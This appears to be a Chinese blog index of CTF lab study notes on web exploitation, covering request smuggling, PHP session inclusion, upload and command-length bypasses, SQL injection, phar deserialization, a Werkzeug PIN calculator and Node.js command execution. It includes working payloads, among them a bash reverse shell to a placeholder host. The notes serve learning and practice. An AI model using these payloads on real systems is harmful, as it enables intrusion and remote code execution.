[靶场笔记]第二十一章

HTTP请求走私 在下面代码中 if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名 但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里 PHP session临时文件 当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell 例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514 字符限制 写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段 >ls #写入一个名为ls的文件 * /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行 要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。 另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728 JWT中的RS256碰撞 打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD 操作案例可以看这篇wp 后缀绕过 如果代码中的后缀检测和文件上传方式是类似下面这样 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) { return false; } ... ... $target_file=$name move_uploaded_file($file['tmp_name'], $target_file) 就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀,从而不会而在move_uploaded_file则会自动将/后的.去掉,从而保存shell.php文件 Smarty模板注入 各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD 我主要记录一些有关smarty模板的小知识 在上面博客里讲到用下面这种方法进行命令执行 如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释 这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西 也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。 但如果是分开的,比如下面这样 controllers/FileController.php.php ...

October 31, 2024 · 1 min · Red

[靶场笔记]第二十章

$_SERVER[‘QUERY_STRING’] 接收url中?后面面的内容,如果你传index.php?a=1&b=2,此时这个变量就是a=1&b=2 ||替代or 在盲注时可以用 file_get_contents($text,‘r’) 写题的时候看到的….原句如下 file_get_contents($text,'r')==="welcome to the 504sys" 研究后发现这个’r’并没有什么用,直接data:text/plain,welcome to the 504sys秒了 flask_pin 经常在flask题碰到/console路径下的命令执行界面,但不知道怎么利用,刚好碰到一题,记录一下 /console是werzeug带的,需要在flask的debug模式下才有这个页面 需要结合文件读取,将下面带注释的地方贴上从靶机读出来的内容即可 import hashlib from itertools import chain probably_public_bits = [ 'root',# username,读/etc/passwd或/proc/1/environ 'flask.app',# modname,默认 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径,在flask报错页面就有 ] private_bits = [ '2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33(eth0)/address 'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接 ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 有关flask pin码的生成分析可以看这里,Werkzeug更新带来的Flask debug pin码生成方式改变看这里 ...

September 23, 2024 · 1 min · Red

[靶场笔记]第十九章

call_user_func 在官方文档中有这种用法 <?php namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); ?> 这个函数可以直接调用类中的静态方法,比如 call_user_func('Foo::test'); update注入 一种比较少见的sql注入 具体用法如下 如果不加where条件就能把整个字段的值都改掉,一般碰到改价格买东西的题目就会用到 如果碰到像上面这张情况可以用大小写同时用的方法绕过(不得不说对SQL注入的过滤用黑名单真的是很傻的办法= =)下面是一个payload示例 1';UPdATE%09items%09SeT%09price=1;# %09是tab,堆叠+大小写混用就能用了 python urllib头注入 一个16年的漏洞,影响版本是python 2.7.16以下和python 3.7.3以下。 以下面这个场景为例 import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在url被赋值http://127.0.0.1时,服务端会接收到一个正常的http请求包。但如果赋值是http://127.0.0.1/%0d%0a123时,则会被换行插入一个123,如下图 漏洞原理是urllib在解析url时。接受URL编码的值。会包含在HTTP数据流中 因此我们就可以利用这点来实现对内网服务的CSRF,比如在内网的redis,就能通过这点来实现修改账号密码 python命令行参数接收 在看头部注入的wp时学到的,以下面这段代码为例 #1.py import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在命令行中输入python 1.py http://127.0.0.1/,url的值就会被赋上http://127.0.0.1/ 关于 Content-Type:application/x-www-form-urlencoded 和 Content-Type:multipart/related 这里记录一个链接 https://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html 127.0.0.1和0.0.0.0的区别 直接上结论,127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。 ...

June 30, 2024 · 1 min · Red

[靶场笔记]第十八章

require绕过 这两天刚开始学nodejs,已知require('child_process').exeSync('ls')是用来执行指令的,但有时候require并不存在上下文,也就是说require有可能并没有被定义 所以就会用global.process.mainModule.constructor._load('child_process').execSync('uname -a')替代require execSync绕过 有好几种方法 方法一:函数平替 其中execFileSync只能执行ls之类,他cat不了文件 方法二:数组绕过 直接看payload //注意这里连接require方法和execSync属性之间没有'.' require('child_process')['e'%2b'xecSync']('cat f*') 方法三:fs模块 //列出当前目录下的文件 require('fs').readdirSync('./') //直接读文件 require('fs').readFileSync('fl001g.txt','utf-8') __filename js中用来返回当前模块文件的绝对路径 js类型比较 先看实例代码 为了拿到flag就必须满足a和b长度一致,a输出结果和b不相等,a和flag相加与b和flag相加相等三个条件。 有三种方法 第一种是a[]=1&b[]=1。这里的原理和php中不一样,这是js中!==这一运算符(也叫”严格不相等“)的特性([参考链接](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_inequality#%E7%A4%BA%E4%BE%8B)),在比较对象时不管传入的值是什么他们总是不相等的 之后来到后面的md5中与字符串相加,结果都是[Object object]flag,因此通过 第二种方法的原理和上面一样,payload是??a[a]=1&b[b]=1 第三种是?a[1]=1&b=1,这种方法能行的原因是,在req.query接受到a[1]是,会将它当成一个数组,也就是a=[1],此时a的类型是object,和b的number不一致,所以严格比较通过。在md5中a直接与字符串相加时,会把数组中的默认下标为0的值与字符串相加,此时就会得到1flag。b就更是1flag了,因此通过 Function函数 在nodejs中,这个函数可以拥有和eval()一样的利用价值,具体可以看下面这个例子(参考链接) 也就是他的参数可以是一个return并被执行,所以就可以构造成 return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"') 这里需要注意,Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。并且,由于return并不能回显,只有执行的能力,因此一般会选择用curl外带或者直接反弹shell js get传值特性 router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; console.log(req.url) if(req.url.match(/8c|2c|\,/ig)){ res.end('111where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('222where is flag. :)'); } }); 在这段代码里,req.url会把传进来的值都过滤一遍。先来看看payload ...

June 3, 2024 · 1 min · Red

[靶场笔记]第十七章

mid字符串指针控制 在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload -1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23 修改mid的值就行 phar反序化 这里存一段phar反序化的初始化代码(更多内容可以看这里) <?php class example {} $o = new example(); @unlink("example.phar");//这行可有可无 $phar = new Phar("example.phar"); //后缀必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?> 由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀 补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例 from hashlib import sha1 import gzip file = open('phar.phar', 'rb').read() #data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup data = file[:-28]#要签名的部分是文件头到meta-data的数据。 final = file[-8:]#签名格式 newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile) #生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失 newf = gzip.compress(newfile) with open(r'2.jpg', 'wb') as file: #更改文件后缀 file.write(newf) 自增绕过 ...

May 31, 2024 · 1 min · Red